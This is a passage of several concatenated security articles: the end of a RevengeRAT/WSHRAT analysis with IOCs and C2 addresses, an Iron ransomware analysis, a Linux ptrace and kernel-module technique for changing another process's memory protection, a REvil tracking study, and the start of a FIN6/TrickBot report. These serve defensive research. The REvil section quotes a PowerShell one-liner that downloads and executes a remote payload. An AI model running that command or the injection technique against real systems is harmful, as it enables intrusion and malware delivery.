| update | Update the malware |
| uninstall | Uninstall the malware |
| up-n-exec | Download and update the malware |
| bring-log | Send wshlogs\ to the C2 |
| down-n-exec | Download and execute new malware |
| filemanager | File manager plugin using “fm-plugin.exe” |
| rdp | RDP plugin using “rd-plugin.exe” |
| keylogger | Keylogger plugin using “kl-plugin.exe” |
| offline-keylogger | Keylogger plugin using “kl-plugin.exe” |
| browse-logs | Browse logs generated by the RAT |
| cmd-shell | Open a CMD shell |
| get-processes | List all processes |
| disable-uac | Disable UAC checks |
| check-eligible | Check eligibility for supplied file |
| force-eligible | Force eligibility for supplied file |
| elevate | Elevate to admin |
| if-elevate | Check elevation status |
| kill-process | Kill specified process |
| sleep | Sleep for specified amount of time |
## Remediation
Unfortunately, as this file is resident in the registry, full removal is a bit more challenging than just removing a file. The first thing that should be removed are the two files stored in %APPDATA%, which are microsoft.vbs and GXxdZDvzyH.vbs. This will stop the malware from executing. If any errors are received during deletion, the computer will need to be restarted in safe mode to try to delete those files again—and stay in safe mode—so that the registry can be edited without worrying about the malware executing.
In the registry, locate the Run key (HKEY_LOCAL_MACHINE:Software\Microsoft\Windows\CurrentVersion\Run) and delete the value “microsoft” as well as the value “GXxdZDvzyH”. Additionally, navigate to HKCU:Software\Microsoft\, find the value “microsoft” (should consist of the Base64 encoded PE file), and delete that value. After following these steps, the computer should be safe to reboot in normal mode.
## IOCs
### RevengeRAT IOCs
- Hash: 9ada62e4b06f7e3a61d819b8a74f29f589b645a7a32fd6c4e3f4404672b20f24
- Mutex: RV_MUTEX-toqqNLCGRFbTXZ
- ID: House
- Registry Location: HKCU:Software\Microsoft\microsoft
- C2(s): 193.56.28.134:5478, 185.84.181.102:5478
### WSHRAT IOCs (pulled from config, mainly)
- Hash: d86081a0795a893ef8dc251954ec88b10033166f09c1e65fc1f5368b2fd6f809
- C2: britianica.uk[.]com:4132
- Registry Location: HKEY_LOCAL_MACHINE:Software\Microsoft\Windows\CurrentVersion\Run\GXxdZDvzyH
### Loader IOCs
- Hash (microsoft.vbs): c229c614c9bd2b347fd24ad12e3c157c686eb86bc0a02df1c7080cf40b659e10
- Hash (GXxdZDvzyH.vbs): ced8be6a20b38f5f4d5af0f031bd69863a60be53b9d6434deea943bf668ac8d8
- Downloader Addresses: `https://scisolinc[.]com/wp-includes/Text/microsoft.vbs`, `http://newdocreviewonline.3utilities[.]com/`
Real People Detecting Real Threats in Real Time. The above article covers risks related to information security. This threat has been witnessed, monitored, and analyzed by the cybersecurity specialists at Binary Defense. Those who currently subscribe to our SOC-as-a-Service offerings including SIEM monitoring, Managed Detection & Response, and/or Counterintelligence services are already being actively protected against the threat(s). To learn more about how we can protect you from new and emerging cyberattacks, please contact us. |
# Maktub Ransomware: Possibly Rebranded as Iron
In this post, we'll take a quick look at a possible new ransomware variant, which appears to be the latest version of Maktub ransomware, also known as Maktub Locker. Hasherazade from Malwarebytes has, as per usual, written an excellent blog on Maktub Locker in the past, if you wish to learn more: Maktub Locker – Beautiful And Dangerous.
**Update - 2018-04-14:** Read the conclusion at the end of this post to learn more about how Iron ransomware mimicked at least three different ransomware families.
## Analysis
A file was discovered, named ado64 with the following properties:
- **MD5:** 1e60050db59e3d977d2a928fff3d34a6
- **SHA1:** f51bab89b4e4510b973df8affc2d11a4476bd5be
- **SHA256:** 19ee6d4a89d7f95145660ca68bd133edf985cc5b5c559e7062be824c0bb9e770
- **Compilation timestamp:** 2018-04-05 03:47:19
- **VirusTotal report:** 19ee6d4a89d7f95145660ca68bd133edf985cc5b5c559e7062be824c0bb9e770
Maktub typically sports a graphically appealing lock screen, as well as a payment portal, and promotes "Maktub Locker" extensively. Interestingly enough, this variant has removed all references to Maktub.
### Lock Screen and Payment Portal
**Email address:** [email protected]
**Bitcoin address:** 1cimKyzS64PRNEiG89iFU3qzckVuEQuUj
**Ransomware note:** !HELP_YOUR_FILES.HTML
The text reads:
> We’re very sorry that all of your personal files have been encrypted :( But there are good news – they aren’t gone, you still have the opportunity to restore them! Statistically, the lifespan of a hard-drive is anywhere from 3 to 5 years. If you don’t make copies of important information, you could lose everything! Just imagine! In order to receive the program that will decrypt all of your files, you will need to pay a certain amount. But let’s start with something else…
In previous versions of Maktub, you could decrypt 1 file for free; however, with the current rebranding, this option has disappeared. Since the ransomware has rebranded, we'll name it "Iron" or "Iron ransomware," due to the name of the decrypter, IronUnlocker.
Iron encrypts a whopping total of 374 extensions, these are as follows:
```
.001, .1cd, .3fr, .8ba, .8bc, .8be, .8bf, .8bi8, .8bl, .8bs, .8bx, .8by, .8li, .DayZProfile, .abk,
.ade, .adpb, .adr, .aip, .amxx, .ape, .api, .apk, .arch00, .aro, .arw, .asa, .ascx, .ashx, .asmx,
.asp, .asr, .asset, .bar, .bay, .bc6, .bc7, .bi8, .bic, .big, .bin, .bkf, .bkp, .blob, .blp, .bml, .bp2,
.bp3, .bpl, .bsa, .bsp, .cab, .cap, .cas, .ccd, .cch, .cer, .cfg, .cfr, .cgf, .chk, .class, .clr, .cms,
.cod, .col, .con, .cpp, .cr2, .crt, .crw, .csi, .cso, .css, .csv, .ctt, .cty, .cwf, .d3dbsp, .dal, .dap,
.das, .db0, .dbb, .dbf, .dbx, .dcp, .dcr, .dcu, .ddc, .ddcx, .dem, .der, .desc, .dev, .dex, .dic,
.dif, .dii, .disk, .dmg, .dmp, .dob, .dox, .dpk, .dpl, .dpr, .dsk, .dsp, .dvd, .dxg, .elf, .epk, .eql,
.erf, .esm, .f90, .fcd, .fla, .flp, .for, .forge, .fos, .fpk, .fpp, .fsh, .gam, .gdb, .gho, .grf, .h3m,
.h4r, .hkdb, .hkx, .hplg, .htm, .html, .hvpl, .ibank, .icxs, .img, .indd, .ipa, .iso, .isu, .isz, .itdb,
.itl, .itm, .iwd, .iwi, .jar, .jav, .java, .jpe, .kdc, .kmz, .layout, .lbf, .lbi, .lcd, .lcf, .ldb, .ldf, .lgp,
.litemod, .lng, .lrf, .ltm, .ltx, .lvl, .m3u, .m4a, .map, .mbx, .mcd, .mcgame, .mcmeta, .md0,
.md1, .md2, .md3, .mdb, .mdbackup, .mddata, .mdf, .mdl, .mdn, .mds, .mef, .menu, .mm6,
.mm7, .mm8, .moz, .mpq, .mpqge, .mrwref, .mxp, .ncf, .nds, .nrg, .nri, .nrw, .ntl, .odb, .odf,
.odp, .ods, .odt, .orf, .owl, .oxt, .p12, .p7b, .p7c, .pab, .pbp, .pef, .pem, .pfx, .pkb, .pkh,
.pkpass, .plc, .pli, .pot, .potm, .potx, .ppf, .ppsm, .pptm, .prc, .prt, .psa, .pst, .ptx, .pwf, .pxp,
.qbb, .qdf, .qel, .qic, .qpx, .qtr, .r3d, .raf, .re4, .res, .rgn, .rgss3a, .rim, .rofl, .rrt, .rsrc, .rsw,
.rte, .rw2, .rwl, .sad, .sav, .sc2save, .scm, .scx, .sdb, .sdc, .sds, .sdt, .shw, .sid, .sidd, .sidn,
.sie, .sis, .slm, .slt, .snp, .snx, .spr, .sql, .sr2, .srf, .srw, .std, .stt, .sud, .sum, .svg, .svr, .swd,
.syncdb, .t01, .t03, .t05, .t12, .t13, .tar.gz, .tax, .tcx, .thmx, .tlz, .tor, .torrent, .tpu, .tpx,
.ttarch2, .tur, .txd, .txf, .uax, .udf, .umx, .unity3d, .unr, .uop, .upk, .upoi, .url, .usa, .usx, .ut2,
.ut3, .utc, .utx, .uvx, .uxx, .vcd, .vdf, .ver, .vfs0, .vhd, .vmf, .vmt, .vpk, .vpp_pc, .vsi, .vtf,
.w3g, .w3x, .wad, .war, .wb2, .wdgt, .wks, .wmdb, .wmo, .wotreplay, .wpd, .wpl, .wps, .wtd,
.wtf, .x3f, .xla, .xlam, .xlc, .xlk, .xll, .xlm, .xlr, .xlsb, .xltx, .xlv, .xlwx, .xpi, .xpt, .yab, .yps, .z02,
.z04, .zap, .zipx, .zoo, .ztmp
```
Iron doesn't spare gamers, as it will also encrypt Steam files (.vdf), World of Tanks replays (.wotreplay), DayZ (.DayZProfile), and possibly others.
Folders containing the following words are exempt from encryption: Windows, windows, Microsoft, Mozilla Firefox, Opera, Internet Explorer, Temp, Local, LocalLow, $Recycle.bin, boot, i386, st_v2, intel, recycle, 360rec, 360sec, 360sand, internet explorer, msbuild.
Interestingly enough, 360sec, 360rec, and 360sand is developed by Qihoo 360, an internet security company based in China, and is an antivirus (360 Total Security is one example). This, as well as the fact that the Iron ransomware also includes resources in Chinese Simplified, alludes this variant may be developed by a Chinese speaker.
The ransomware will additionally delete the original files after encryption and will also empty the recycle bin. It does not remove Shadow Volume Copies or Restore Points.
Iron embeds a public RSA key as follows:
```
-----BEGIN RSA PUBLIC KEY-----
MIGJAoGBAIOYf0KqEOGaxdLmMLypMyZ1q/K+r6DuCdYpwZfs0EPug3ye7UjZa0QMOP5/OySr
l/uBJtkmEghEtUEo/zfcBJ7332O1ytJ7/ebIUv+ZcN1Rlswzdv7uZxYRC8u1HvrgBvAz4Atb
zx+FbFVqLB0gGixYTqbjqANq21AR6r91+oJtAgMBAAE=
-----END RSA PUBLIC KEY-----
```
The Iron ransomware will determine the user's WAN IP and also send a POST request to its C2 server, http://y5mogzal2w25p6bn[.]ml.
It appears Iron will create a new, random GUID, and use it as a mutex, in order to not infect the machine twice. The following values will be sent to the C2:
- Encryption key
- Randk (seed)
- GUID (mutex)
- Start (whether ransom successfully started)
- Market (unknown)
The C2 server will then respond with another set of values and generate a unique Bitcoin address, which means that victims may pay twice to different addresses. Rule of thumb: do not pay the ransomware.
Of note is an email address in the response: [email protected]. Iron will additionally save certain values, such as the GUID, in HKCU\Software\CryptoA.
Encrypted files will have the .encry extension appended. It is likely not possible to restore data.
## Conclusion
It is currently unknown if Iron is indeed a new variant by the same creators of Maktub, or if it was simply inspired by the latter, by copying the design for the payment portal for example.
We know the Iron ransomware has mimicked at least three ransomware families:
- Maktub (payment portal design)
- DMA Locker (Iron Unlocker, decryption tool)
- Satan (exclusion list)
From the screenshots above, it is obvious the portal design has been copy-pasted from Maktub. As for copying from DMA Locker, see this tweet:
> and BTW, their unlocker looks like they copied layout from DMA Locker
And, last but not least, it uses the exact same exclusion list (folders and its content that will not be encrypted) from Satan:
> Just to clarify, there isn't specific code overlap, as the crypto is quite different to Satan. However, there are similarities in a number of things, such as the exclusion list.
Code is indeed quite unique, and Iron seems like a totally new ransomware, and may even be a "side project" by the creators of the Satan ransomware. However, at this point, there is no sure way of telling who's behind Iron. Time may be able to tell.
Decryption is impossible without the author's private key; however, it is possible to restore files using Shadow Volume Copies, or alternatively Shadow Explorer. If that doesn't work, you may try using a data recovery program such as PhotoRec or Recuva.
Take note of ID ransomware, if a decryptor should ever become available. Additionally, it may identify other families of ransomware if you are ever affected. Another service to take note of in this regard is NoMoreRansom.
For preventing ransomware, have a look here: Ransomware Prevention. In short: create backups!
## Indicators
- **Email:** [email protected]
- **Domain:** y5mogzal2w25p6bn.ml
- **FileHash - SHA256:** 19ee6d4a89d7f95145660ca68bd133edf985cc5b5c559e7062be824c0bb9e770
- **FileHash - MD5:** 1e60050db59e3d977d2a928fff3d34a6
- **FileHash - SHA1:** f51bab89b4e4510b973df8affc2d11a4476bd5be
- **Email:** [email protected] |
# Changing Memory Protection in an Arbitrary Process
Recently, we faced this very specific task: changing the protection flags of memory regions in an arbitrary process. As this task may seem trivial, we encountered some obstacles and learned new things in the process, mostly about Linux mechanisms, memory protection, and kernel development. Here is a brief overview of our work, including three approaches we took and what made us seek a better solution each time.
## Introduction to mprotect
In modern operating systems, each process has its own virtual address space (a mapping from virtual addresses to physical addresses). This virtual address space consists of memory pages (contiguous memory chunks of some fixed size), and each page has protection flags which determine the kind of access allowed to this page (Read, Write & Execute). This mechanism relies on the architecture page tables (fun fact: in the x64 architecture, you can’t make a page write-only, even if you specifically request it from your operating system – it will always be readable as well).
In Windows, you can change the protection of a memory region with the API functions `VirtualProtect` or `VirtualProtectEx`. The latter makes our task very easy: its first argument, `hProcess`, is “a handle to the process whose memory protection is to be changed” (from MSDN).
## Linux Memory Protection
In Linux, on the other hand, we’re not so lucky: the API to change memory protection is the system calls `mprotect` or `pkey_mprotect`, and both always operate on the current process’ address space. We’ll review now our approaches to solve this task in Linux on x64 architecture (we assume root privileges).
### APPROACH ONE: mprotect Code Injection
Well, if `mprotect` always acts on the current process, we need to make our target process call it from its own context. This is called code injection, and it’s achievable in many different ways. We chose to implement it with the `ptrace` mechanism, which lets one process “observe and control the execution of another process” (from the man page), including the ability to change the target process’ memory and registers. An outline of the steps required to inject code using `ptrace`:
1. Attach to the target process with `ptrace`. If there are multiple threads in the process, it may be wise to stop all the other threads as well.
2. Find an executable memory region (by examining `/proc/PID/maps`) and write there the opcode syscall (hex: 0f 05).
3. Modify the registers according to the calling convention: first, change `rax` to the system call number of `mprotect` (which is 10). Then, the first three arguments (which are the start address, the length, and the protection desired) are stored in `rdi`, `rsi`, and `rdx` respectively. Finally, change `rip` to the address used in step 2.
4. Resume the process until the system call returns (ptrace allows you to trace enters and exits of system calls).
5. Recover the overridden memory and registers, detach from the process, and resume its normal execution.
This approach was our first and most intuitive one and worked great until we discovered another mechanism in Linux which completely ruined it: `seccomp`. Basically, it’s a security facility in the Linux kernel which allows a process to enter itself into some kind of a “jail”, where it can’t call any system call besides `read`, `write`, `_exit`, and `sigreturn`. There is also an option to specify arbitrary system calls and their arguments to filter only them. Therefore, if a process enabled `seccomp` mode and we try to inject a call to `mprotect` into it, then the kernel will kill the process as it is not allowed to use this system call. We wanted to be able to act on these processes as well, so the search for a better solution continues…
### APPROACH TWO: Imitate mprotect in a Kernel Module
The `seccomp` problem eliminated every solution from the process’ user mode, hence the next approach certainly resides in kernel mode. In the Linux kernel, each thread (both user threads and kernel threads) is represented by a structure named `task_struct`, and the current thread (task) is accessible through the pointer `current`. The internal implementation of `mprotect` in the kernel uses the pointer `current`, so our first thought was – let’s just copy-paste the code of `mprotect` to our kernel module, and replace each occurrence of `current` with a pointer to our target thread’s `task_struct`. Right?
Well, as you may have guessed, copying C code is not so trivial – there’s a heavy use of unexported functions, variables, and macros which we just cannot access. Some functions declarations are exported in the header files, but their actual addresses aren’t exported by the kernel. This specific problem can be solved if the kernel was compiled with `kallsyms` support, and then it exports all of its internal symbols through the file `/proc/kallsysm`.
Despite these problems, we tried to implement only the essence of `mprotect`, even solely for educational purposes. So we headed to write a kernel module which gets the target PID and the parameters to `mprotect`, and imitates its behaviour. First, we need to obtain the desired memory mapping object, which represents the address space of the thread:
```c
/* Find the task by the pid */
pid_struct = find_get_pid(params.pid);
if (!pid_struct)
return -ESRCH;
task = get_pid_task(pid_struct, PIDTYPE_PID);
if (!task) {
ret = -ESRCH;
goto out;
}
/* Get the mm of the task */
mm = get_task_mm(task);
if (!mm) {
ret = -ESRCH;
goto out;
}
...
...
out:
if (mm) mmput(mm);
if (task) put_task_struct(task);
if (pid_struct) put_pid(pid_struct);
```
Now that we have the memory mapping object, we need to dig deeper. The Linux kernel implements an abstraction layer to manage memory regions, each region is represented by the structure `vm_area_struct`. To find the correct memory region, we use the function `find_vma` which searches the memory mapping by the desired address. The `vm_area_struct` contains the field `vm_flags` which represents the protection flags of the memory region in an architecture-independent manner, and `vm_page_prot` which represents it in an architecture-dependent manner. Changing these fields alone won’t really affect the page table (but will affect the output of `/proc/PID/maps`, we tried it!).
After some reading and digging into the kernel code, we detected the most essential work needed to really change the protection of a memory region:
1. Change the field `vm_flags` to the desired protection.
2. Call the function `vma_set_page_prot_func` to update the field `vm_page_prot` according to the `vm_flags` field.
3. Call the function `change_protection_func` to actually update the protection bits in the page table.
This code works, but it has many problems – first, we implement only the essential parts of `mprotect`, but the original function does much more than we did (for example, splitting and joining memory regions by their protection flags). Second, we use two internal functions which are not exported by the kernel (`vma_set_page_prot_func` and `change_protection_func`). We can call them using `kallsyms`, but this is prone to troubles (perhaps their names will be changed in the future, or maybe the whole internal implementation of memory regions will be altered). We wanted a more generic solution which doesn’t take internal structures into consideration, so the search for a better solution continues…
### APPROACH THREE: Using the Target Process’s Memory Mapping
This approach is very similar to the first one – there, we wanted to execute code in the context of the target process. Here, instead, we execute code in our own thread, but we use the “memory context” of the target process, meaning: we use its address space. Changing your address space is possible in kernel mode through several API functions, of them we will use `use_mm`. As the documentation clearly specifies, “this routine is intended to be called only from a kernel thread context”. These are threads which are created in the kernel and do not need any user address space, so it’s fine to change their address space (the kernel’s region inside the address space is mapped the same way in every task).
One easy way to run your code in a kernel thread is the work queue interface of the kernel, which allows you to schedule a work with a specific routine and specific arguments. Our work routine is very minimal – it gets the memory mapping object of the desired process and the parameters to `mprotect`, and does the following (`do_mprotect_pkey` is the internal function in the kernel that implements the `mprotect` and `pkey_mprotect` system calls):
```c
use_mm(suprotect_work->mm);
suprotect_work->ret_value = do_mprotect_pkey(suprotect_work->start,
suprotect_work->len,
suprotect_work->prot, -1);
unuse_mm(suprotect_work->mm);
```
When our kernel module gets a request to change protection in some process (through a special IOCTL), it first finds the desired memory mapping object (as we explained in the previous approach) and then just schedules the work with the right parameters.
This solution still has one minor problem – the function `do_mprotect_pkey_func` isn’t exported by the kernel and needs to be fetched using `kallsyms`. Unlike the former solution, this internal function is not very prone to changes as it’s tied to the system call `pkey_mprotect`, and we don’t handle internal structures, hence we can call it only a “minor problem”.
We hope you found some interesting information and techniques in this post. If you’re interested, the source code of this proof-of-concept kernel module is available in our GitHub. |
# Tracking REvil
After the message GandCrab quit, a hole was left in the scene. It was time for a new contender. In the last few months, REvil/Sodinokibi seems to have filled that gap. There have already been multiple blogs describing the similarities between GandCrab and REvil affiliates. We’ll stay clear of the similarities in this blog and focus on the usage statistics of the ransomware family by looking at samples, infection rates, and ransom demands.
**TLDR:**
This blog describes our efforts in tracking the REvil ransomware and its affiliates for the past six months. REvil has been around since 2019 and is one of the top variants of ransomware causing havoc at many organizations around the globe ever since. The KPN Security Research Team was able to acquire C2 sinkholes allowing for the tracking of infections across the globe. This research started by tracking REvil samples distributed via Pastebin. The configuration extracted from these samples shows a different strategy of the several affiliates. Detonating these samples in a sandbox and emulating traffic to the ransom site gave us the ability to track ransom demands per group and campaign. Analyzing the configuration of the different samples made us realize the C2 domains were identical across all samples. The team was able to sinkhole multiple REvil C2 domains. The REvil C2 traffic is unidirectional and solely used for statistics. Piggybacking the C2 we can gain insight into the statistical data.
The affiliates using the REvil ransomware as a service (RaaS) are skilled and adapting their approach to the victim’s organization. We assume the attacks are often not targeted but more opportunity-based. Access that is gained in some way is later escalated in order to take over an entire network. In the past 5 months, we've analyzed over 150,000 unique infections, extracted ransom demands from 148 samples together demanding more than 38 million dollars. Some of the attacks are on a huge scale. Just in the last 7 days, the REvil affiliates were able to encrypt over 6,500 unique systems in two major attacks in both Europe and Africa, topping all infections combined in the past 30 days.
As a security industry, we have the task to strengthen our clients against such attacks. The most important defense is to have an offsite backup that is not “deletable” from the operational infrastructure. Next to proper backups, consider segmentation, patch management, pentesting, security baseline, and other measures.
## Proliferation via Pastebin
This all started when we were talking with @RonnyTNL about an interesting attack scenario. It started with a standard PowerShell one-liner to download and execute the malware. The second PowerShell stage was distributed via Pastebin.
```powershell
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "IEX (New-Object System.Net.WebClient).DownloadString('https://pastebin.com/raw/Za3T5yJk');Invoke-KQMRZLUDUPNBP;Start-Sleep -s 10000"
```
Analysis of the 2nd stage script shows it is essentially the “Invoke-ReflectivePEInjection.ps1” script by Joe Bialek (@JosephBialek), optimized with an additional function to pass a base64 encoded DLL to the main function. The following pattern was used to randomize function names “Invoke-[A-Z]{15}”. After seeing a couple of the scripts in Pastebin, we decided to use the Pastebin API to download each new record. In order to detect the script, the following regex was used: “0x48, 0x89, 0xe3, 0x66, 0x83, 0xe4, 0x00, 0x48, 0xb9”. It worked great from the start; however, we suddenly saw an uptick in new samples being downloaded. After investigation, it turned out the Buran ransomware family also used the same script and Pastebin for distribution. Luckily, there is a very specific difference between the two types allowing us to discern between the two families.
By analyzing the DLL that’s injected in memory, we can see that the malware family dynamically imports its dependencies. @leandrovelasco and I had a fun time trying to figure out the encryption functionality. After the first frustrating evening, we luckily found the Cylance blog describing that the “obfuscation” we were looking at was in fact just RC4. For every PowerShell script we download from Pastebin, we first extract the base64 DLL, and then extract the configuration. The configuration is extracted using the Python script from the Cylance blog.
Analyzing the configuration data allows us to see the difference between various operators. The configuration allows attackers to kill certain processes and services and remove specific files. Looking at these characteristics might tell us something about the group's modus operandi.
### Spotting differences in the configurations
The configurations extracted contain many different fields. The ones we are interested in for the purposes of this blog are:
| Option | Function |
|--------|----------|
| PID | Affiliate ID |
| SUB | Campaign ID |
| DMN | List of 1100 different domains where the C2 information is sent. |
| PRC | List of processes to kill |
| SVC | List of services to kill |
| NNAME | Ransom note filename |
| NET | Boolean turning C2 traffic on and off |
The variables contain a list of all processes or services that need to be stopped. Looking at the list of processes to kill, you can see most of the groups use the default list. Things start to get interesting when the list contains more specific or different process names. For example, the group identified by 23 (AKA PID 23) included a process called “CagService” in one sample only. The process is related to a remote management tool called CentraStage. Group 12 (AKA PID 12) has a sample that kills “ax32.exe,” a process related to Microsoft Dynamics. This shows that the samples are either modified to suit specific targets or the different groups are learning and improving their process-kill lists.
Some of the more uncommon processes include:
| Process name | Description |
|--------------|-------------|
| Thebat.exe | A secure mail client platform |
| Pvlsvr.exe | Veritas Backup Exec |
| VeeamDeploymentSvc.exe | Part of Veeam backup |
| DocuWare.Desktop.exe | DocuWare document management system |
| Oracle.exe | Oracle DBMS |
The same goes for services that are to be killed. In this list, you can find things like Altaro, Veritas Backup Exec, and Arcserve UDP. A complete list of all services and processes can be found in the appendix.
### SUB
We assume the SUB option is the campaign ID. Analyzing the different SUB values in the samples we collected, we noticed the number is incremented for each sample. This gives us an indication of the number of campaigns that are prepared in the REvil backend. It does not necessarily mean that the samples prepared are deployed in the real world, just that the campaign is created. It also gives us the ability to guesstimate the number of prepared campaigns per period of time.
| Month | Number of campaigns |
|-----------|---------------------|
| December | +-300 |
| November | +-300 |
| October | +-400 |
| September | +-100 |
| August | +-200 |
We can also see how active different groups are compared to other groups based on the number of unique campaign IDs (SUB).
### Tracking ransom demands
Having access to the samples allows any user to check the ransom demand. Once a sample runs, the malware creates a unique system ID based on the VolumeID and the CPUID. This ID is used to create a unique link to the backend using the following structure: `decryptor[.]top/unique-system-id`. Next to this, a base64 encoded-encrypted JSON object is generated. The JSON object contains information such as affiliate ID (PID), campaign ID (SUB), operating system (OS), and username (UNM).
We wanted to be able to automatically retrieve and submit these values to the backend in order to retrieve the ransom demand per sample. We were using a Python script to retrieve samples from Pastebin. A small change to the procedure should allow us to add the ability to retrieve ransom demands. One thing missing was an environment to detonate the samples in. We used the tria.ge sandbox to detonate the samples. The process is as follows:
1. Get sample from Pastebin
2. Submit to tria.ge (example sample)
3. Extract the ransom note from the kernel monitor
4. Parse the ransom note and submit to the REvil backend
5. Parse the webpage in order to retrieve the ransom demands
The ransom demands vary greatly; the cheapest we’ve seen was 777 dollars. The highest we’ve observed was 3 million, with 15 million in the case of CyrusOne, but that one was not scraped by us from Pastebin. Initially, we thought we would be able to see which campaign resulted in an actual payment. We assumed we could track transactions on bitcoin addresses we saw passing by and verify whether any transactions took place to and from that bitcoin address. After checking for a while, we never saw any transactions. We decided to do a test and detonated the same sample twice in the sandbox.
After submitting the data to the backend, it became clear the ransom demand stayed the same, but the BTC address changed. It seems the developers made payment tracking difficult by creating new wallets for every user that requests the payment instructions. We can take a look at the average amount that is being requested. Across 148 samples, a total of 38+ million dollars is being demanded, averaging a ransom demand of 260,000+ dollars.
When splitting this up between computer and network-focused attacks, it becomes apparent how much some of these attacks cost. Network-only attacks average a ransom demand of 470,000+ dollars (75 samples), while computer-based attacks are averaging 48,000+ dollars (73 samples). We suspect the operators might have misconfigured some campaigns as we could see samples demanding 500,000 for the decryption of one computer.
If we combine the above averages with the number of campaigns that were generated in the REvil backend (2600+), we can safely assume the total amount of demanded ransom by the REvil affiliates is well over 100 million.
### Sinkholing domains
The DMN option in the configuration describes the list of domains to be contacted. Every sample that is generated contains the same large list of 1100 domains. The ransomware will only contact them if the “net” Boolean is set to true. The large list could be used to hide the actual C2, or all websites within the list are hacked. Anyone analyzing the list could assume so as all websites in the list are in fact running WordPress, giving the impression that the attackers could have compromised the WordPress sites. However, a quick analysis of the different WordPress versions shows a large variation in installed versions and used plugins. They could still be all hacked, but it seems a lot of work.
We decided to go through the list of domains to check if any domain was unregistered. This gave us various domains that were still free. We decided to register the domains in order to gather data on REvil infections. A first look at the data was disappointing; the ransomware submits an encrypted blob to the C2. This encrypted blob is a JSON object containing information like group ID (PID), campaign ID (SUB), and system name and username. Since we had no way of getting to the data, we had limited capability to get insight into the amount of infections.
### Discerning unique systems behind one NAT-ed IP
If a network is infected and multiple unique systems are being encrypted, there would be no way to know. In order to see if it was possible to detect unique infected systems coming from one IP, we decided to hash any encrypted blob sent to us. The assumption being that an encrypted blob from one system would be uniquely identifiable. We tested this by infecting one of our own lab systems multiple times. We observed the same cryptoblob being sent to multiple of our sinkholes. Reverting the VMs and reinfecting showed different hashes for the cryptoblobs. Using this information, we assume one cryptoblob-hash is equal to the runtime of one REvil sample. Since the REvil ransomware usually only runs once, we assume one cryptohash to be equal to one unique infected system.
### Gathering statistics from the sinkhole
It turns out that not every sample hits all the 1100 configured C2 domains. In fact, some don’t connect to the C2s at all (the NET Boolean field is used to configure this behavior per sample). Having multiple domains allows us to detect infections that hit only a portion. However, we do not have full visibility on all infections worldwide. Looking at one infection, we observed 180 unique crypthashes; those unique hashes are distributed across various of our sinkhole domains.
Using the cryptoblob-hash, we are able to count the amount of unique systems encrypted per week.
The world map shows REvil infections across the world. Looking at the map shows South Korea and China are some of the most hit countries. We’ve been unable to attribute the large number of unique hits from South Korea and China. Some of the IPs seem related to an ISP, but no clear whois data, domains, or certificates seem to point to them. The map also shows how quiet it is in Russia, only seeing a couple of unique infections. The malware itself checks the system language, and online adverts by the REvil RaaS providers also state no operation inside of the Commonwealth of Independent States (CIS). The limited number of infections can be attributed to testing of the ransomware or employees on a business trip inside of Russia.
### Impact on the Netherlands
We enriched the sinkhole data with GeoIP data in order to see any attacks against the Netherlands. REvil infections in the Netherlands seem to be very low for the time being. We’ve observed 250+ unique system encryptions in the Netherlands. This seems low when comparing to other countries; the US has 300 million citizens and 22,000+ encrypted unique systems. Comparing to the Dutch 17 million citizens and 250+ unique infections means the US has 6 times more infections than the Netherlands.
The limited number of infections in the Netherlands is reassuring but could change quickly. Just in the last 7 days, there have been two major attacks in both Europe and Africa, more than doubling the infections in those regions. This means one attack against a large Dutch MSP could change the statistics drastically.
### Conclusion
We’ve seen 150,000 unique infections in the past 5 months, and a total of 148 samples together demanding more than 38 million dollars. Some of the attacks are on a huge scale, encrypting over 3,000 unique systems in one attack. Some of these attacks were discussed in the news, but many companies remained silent. Keep in mind we have limited visibility of all samples; we only extract samples from Pastebin. For the infection traffic, we don’t have visibility on samples that disable the C2 traffic. Next to this, not every sample hits all of the C2 domains. All statistics shown in this blog are a subset of the total scale. The actual problem is even bigger than we can measure.
The affiliates using the REvil ransomware as a service (RaaS) are skilled and adapting their approach to the victim's organization. The CyrusOne sample actually stated the name of the company, including the name of the victim companies that were also victimized. Some samples contain very specific applications to be killed. This doesn’t necessarily mean all of these attacks are targeted, just that the actors found some form of access (RDP, web scanning, or phishing) and manually escalated privileges in order to hack the entire network, not just one host.
With the rise of more mature and big malicious businesses relying on ransomware, it is apparent that infosec plays a crucial role. The most important step we as a security industry can take is to secure offsite backups that are not removable from the network or using privileges acquired within the network. After that, we can spend time actually securing our networks. |
# ITG08 (aka FIN6) Partners With TrickBot Gang, Uses Anchor Framework
The past two years have borne witness to the increasing collaboration between organized cybercrime groups to avoid duplication of efforts and maximize profits. Although this collaboration has primarily occurred between gangs developing and distributing well-known banking Trojans, such as Emotet, TrickBot, and IcedID, it does not stop there. In a new and dangerous twist to this trend, IBM X-Force Incident Response and Intelligence Services (IRIS) research believes that the elite cybercriminal threat actor ITG08, also known as FIN6, has partnered with the malware gang behind one of the most active Trojans — TrickBot — to use TrickBot’s new malware framework dubbed “Anchor” against organizations for financial profit.
The Anchor malware framework itself is not new and its origins date back to at least 2018. It appears to be tightly connected to TrickBot and is likely programmed by the same malware authors that work on TrickBot. Cybersecurity firms SentinelOne and Cybereason have published reports in recent months describing Anchor as new malware developed by the TrickBot gang for use in targeted attacks against enterprises, including a new PowerShell-based backdoor called PowerTrick.
## ITG08 and TrickBot — A Loaded Duo
ITG08/FIN6 is an organized cybercrime gang that has been active since 2015, primarily targeting point-of-sale (POS) machines in brick-and-mortar retailers and companies in the hospitality sector across the U.S. and Europe. TrickBot is a banking Trojan that emerged in 2016 and has since grown to be one of the top, and most sophisticated, Trojans being used by organized cybercrime gangs believed to be hailing out of Russia.
In the past six months, the Anchor backdoor malware, which includes a variant that communicates over DNS (Anchor_DNS), has been used in targeted attacks on enterprise networks — including POS systems — following initial infection by the TrickBot Trojan. The way organizations are being attacked ties with typical ITG08 activity reported throughout the past few years.
Through connecting our own findings with information from other security research reports, X-Force IRIS has determined that the threat actor ITG08 has partnered with the TrickBot gang to use that group’s PowerTrick and Anchor backdoor malware for attacks on high-profile targets. This post provides more detail on that connection.
## Tying ITG08 (FIN6) With Use of TrickBot’s Anchor Framework
A past analysis by X-Force IRIS gave extensive information about ITG08’s use of a backdoor known as “More_eggs.” The gang’s relationship with the boutique underground provider selling the TerraLoader loader and More_eggs backdoor leads to direct evidence of its use of PowerTrick and Anchor.
